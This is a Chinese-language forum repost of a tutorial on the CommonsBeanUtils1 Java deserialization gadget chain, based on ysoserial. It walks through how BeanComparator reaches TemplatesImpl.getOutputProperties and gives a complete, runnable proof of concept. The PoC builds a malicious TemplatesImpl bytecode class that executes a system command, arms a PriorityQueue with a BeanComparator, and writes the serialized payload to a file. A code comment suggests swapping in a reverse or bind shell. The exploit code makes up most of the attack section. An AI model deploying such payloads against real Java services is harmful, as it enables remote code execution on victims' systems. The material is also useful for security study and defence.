ToB企服应用市场:ToB评测及商务社交产业平台

标题: CommonsBeanUtils1(基于ysoserial) [打印本页]

作者: 慢吞云雾缓吐愁    时间: 2024-11-20 13:51
标题: CommonsBeanUtils1(基于ysoserial)
环境预备

JDK1.8(8u421) JDK8的版本应该都没什么影响,这里直接以我的镜像为准了、commons-beanutils:commons-beanutils:1.9.2、commons-collections:commons-collections:3.2、javassist:javassist:3.12.0.GA
mvn中加入以下依赖:
  1. <dependency>
  2.     <groupId>commons-collections</groupId>
  3.     <artifactId>commons-collections</artifactId>
  4.     <version>3.2</version>
  5. </dependency>
  6. <dependency>
  7.     <groupId>javassist</groupId>
  8.     <artifactId>javassist</artifactId>
  9.     <version>3.12.1.GA</version>
  10. </dependency>
  11. <dependency>
  12.     <groupId>commons-beanutils</groupId>
  13.     <artifactId>commons-beanutils</artifactId>
  14.     <version>1.9.1</version>
  15. </dependency>
复制代码
正文

CB链用到了CC2中的TemplatesImpl的内容,如果你对CC2链不太认识,可以先看一下这个:https://www.cnblogs.com/erosion2020/p/18553815
当你知道CC2中的攻击链的构成之后,你学CB链就会非常轻松,CB链也可以说是CC2链的一个变种,只是反序列化的点换成了commons-beanutils中的另一个类,也就是BeanComparator,下边来表明一下这个类是怎么触发TemplatesImpl的。
BeanComparator

BeanComparator 是 Java 中常见的一个类,通常用于在聚集中对 Java Bean 对象举行比较排序。它实现了 Comparator 接口,目的是根据对象的某个或多个属性举行排序。在一些框架中(如 Apache Commons BeanUtils 或雷同的工具库),BeanComparator 是一种常见的比较器实现,简化了比较操作,尤其是当比较的对象是 Java Bean 时。
基本作用

可以指定一个或多个属性举行排序,支持更复杂的排序逻辑这一句话是非常重要的,正是因为BeanComparator可以通过字段属性排序,所以导致了攻击链的触发。
代码分析
  1. public class BeanComparator<T> implements Comparator<T>, Serializable {
  2.     // 属性字段
  3.     private String property;
  4.     // 内部封装了一个Comparator比较器
  5.     private final Comparator<?> comparator;
  6.         // 调用compare比较两个对象的值
  7.     public int compare(T o1, T o2) {
  8.             ......
  9.             // PropertyUtils.getProperty是重点方法
  10.         Object value1 = PropertyUtils.getProperty(o1, this.property);
  11.         Object value2 = PropertyUtils.getProperty(o2, this.property);
  12.         return this.internalCompare(value1, value2);
  13.         .......
  14.     }
  15. }
  16. PropertyUtils.getProperty(Object bean, String name) {
  17.     // 关注这个getProperty方法
  18.     return PropertyUtilsBean.getInstance().getProperty(bean, name);
  19. }
  20. // 会执行到这个方法
  21. public Object getProperty(Object bean, String name) {
  22.     return this.getNestedProperty(bean, name);
  23. }
  24. public Object getNestedProperty(Object bean, String name) {
  25.     ......
  26.     if (bean instanceof Map) {
  27.         bean = this.getPropertyOfMapBean((Map)bean, name);
  28.     } else if (this.resolver.isMapped(name)) {
  29.         bean = this.getMappedProperty(bean, name);
  30.     } else if (this.resolver.isIndexed(name)) {
  31.         bean = this.getIndexedProperty(bean, name);
  32.     } else {
  33.         // 重点关注这个方法,如果bean是我们构造的TemplatesImpl对象,则会触发这个方法
  34.         bean = this.getSimpleProperty(bean, name);
  35.     }
  36.         ......
  37.     return bean;
  38. }
  39. // 这是最终触发调用链代码的方法
  40. public Object getSimpleProperty(Object bean, String name) {
  41.     // getPropertyDescriptor可以理解为获取bean这个对象中的所有属性字段,如果这个字段存在getter方法,也会获取到
  42.     // 假设bean中存在info字段以及getInfo方法,则PropertyDescriptor中的字段信息如下:
  43.     // name字段为info
  44.     // readMethodName字段为getOutputProperties
  45.     PropertyDescriptor descriptor = this.getPropertyDescriptor(bean, name);
  46.     if (descriptor == null) {
  47.         throw new NoSuchMethodException("Unknown property '" + name + "' on class '" + bean.getClass() + "'");
  48.     } else {
  49.         // 在这里获取到了readMethodName所对应的Method对象
  50.         Method readMethod = this.getReadMethod(bean.getClass(), descriptor);
  51.         if (readMethod == null) {
  52.             throw new NoSuchMethodException("Property '" + name + "' has no getter method in class '" + bean.getClass() + "'");
  53.         } else {
  54.             // 执行Method
  55.             // 如果这里的Method是我们精心构造的TemplatesImpl的getOutputProperties,那么我们的攻击链代码就可以被触发
  56.             Object value = this.invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY);
  57.             return value;
  58.         }
  59.     }
  60. }
复制代码
所以理清上边的思路之后,我们现在要做的事情就是构造一个TemplatesImpl对象,然后创建一个BeanComparator,把其中的property设置为TemplatesImpl的outputProperties字段,然后在触发了BeanComparator的compare方法时,如果中的T类型为TemplatesImpl,则终极会触发TemplatesImpl的getOutputProperties方法,然后触发我们的调用链
POC(基于ysoserial)

老例子,这个还是ysoserial的代码拿过来改了,没有调用ysoserial中的工具类,不依赖工具库可以直接当地调试运行。
  1. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  4. import javassist.ClassPool;
  5. import javassist.CtClass;
  6. import org.apache.commons.beanutils.BeanComparator;
  7. import java.io.FileInputStream;
  8. import java.io.FileOutputStream;
  9. import java.io.ObjectInputStream;
  10. import java.io.ObjectOutputStream;
  11. import java.lang.reflect.Field;
  12. import java.math.BigInteger;
  13. import java.util.PriorityQueue;
  14. public class CommonsBeanUtils1 {
  15.     static String serialFileName = "commons-bean-utils1.ser";
  16.     public static void main(String[] args) throws Exception {
  17. //        cb1bySerial();
  18.         verify();
  19.     }
  20.     public static void verify() throws Exception {
  21.         // 本地模拟反序列化
  22.         FileInputStream fis = new FileInputStream(serialFileName);
  23.         ObjectInputStream ois = new ObjectInputStream(fis);
  24.         Object ignore = (Object) ois.readObject();
  25.     }
  26.     public static void cb1bySerial() throws Exception {
  27.         //==========================CC2中的构造Templates的内容 START==========================
  28.         String executeCode = "Runtime.getRuntime().exec("cmd /c start");";
  29.         ClassPool pool = ClassPool.getDefault();
  30.         CtClass evil = pool.makeClass("ysoserial.Evil");
  31.         // run command in static initializer
  32.         // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
  33.         evil.makeClassInitializer().insertAfter(executeCode);
  34.         // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
  35.         evil.setName("ysoserial.Pwner" + System.nanoTime());
  36.         CtClass superC = pool.get(AbstractTranslet.class.getName());
  37.         evil.setSuperclass(superC);
  38.         final byte[] classBytes = evil.toBytecode();
  39.         byte[][] trueclassbyte = new byte[][]{classBytes};
  40.         Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
  41.         TemplatesImpl templates = TemplatesImpl.class.newInstance();
  42.         Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
  43.         bytecodes.setAccessible(true);
  44.         bytecodes.set(templates, trueclassbyte);
  45.         Field name = templatesClass.getDeclaredField("_name");
  46.         name.setAccessible(true);
  47.         name.set(templates, "Pwnr");
  48.         Field tfactory = templatesClass.getDeclaredField("_tfactory");
  49.         tfactory.setAccessible(true);
  50.         tfactory.set(templates, new TransformerFactoryImpl());
  51.         //==========================CB1链触发点 START==========================
  52.         // mock method name until armed
  53.         final BeanComparator comparator = new BeanComparator("lowestSetBit");
  54.         // create queue with numbers and basic comparator
  55.         final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
  56.         // stub data for replacement later
  57.         // 这里是让其触发BigInteger.lowestSetBit属性方法,可以在set queue值的时候不报错。
  58.         queue.add(new BigInteger("1"));
  59.         queue.add(new BigInteger("1"));
  60.         // switch method called by comparator
  61.         // 然后通过反射来对应的属性值,这样就能避免触发额外的动作
  62.         Field property = comparator.getClass().getDeclaredField("property");
  63.         property.setAccessible(true);
  64.         property.set(comparator, "outputProperties");
  65.         // switch contents of queue
  66.         // queue中的值也是一样,通过反射来set值就不会触发heapfiy等一系列动作
  67.         Field queueFiled = queue.getClass().getDeclaredField("queue");
  68.         queueFiled.setAccessible(true);
  69.         final Object[] queueArray = (Object[])queueFiled.get(queue);
  70.         queueArray[0] = templates;
  71.         queueArray[1] = templates;
  72.         //====================CB1链触发END===================
  73.         FileOutputStream fos = new FileOutputStream(serialFileName);
  74.         ObjectOutputStream oos = new ObjectOutputStream(fos);
  75.         oos.writeObject(queue);
  76.         oos.flush();
  77.         oos.close();
  78.         fos.close();
  79.     }
  80. }
复制代码
运行

尝试运行代码,来弹个cmd

调用链

调用链如下

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4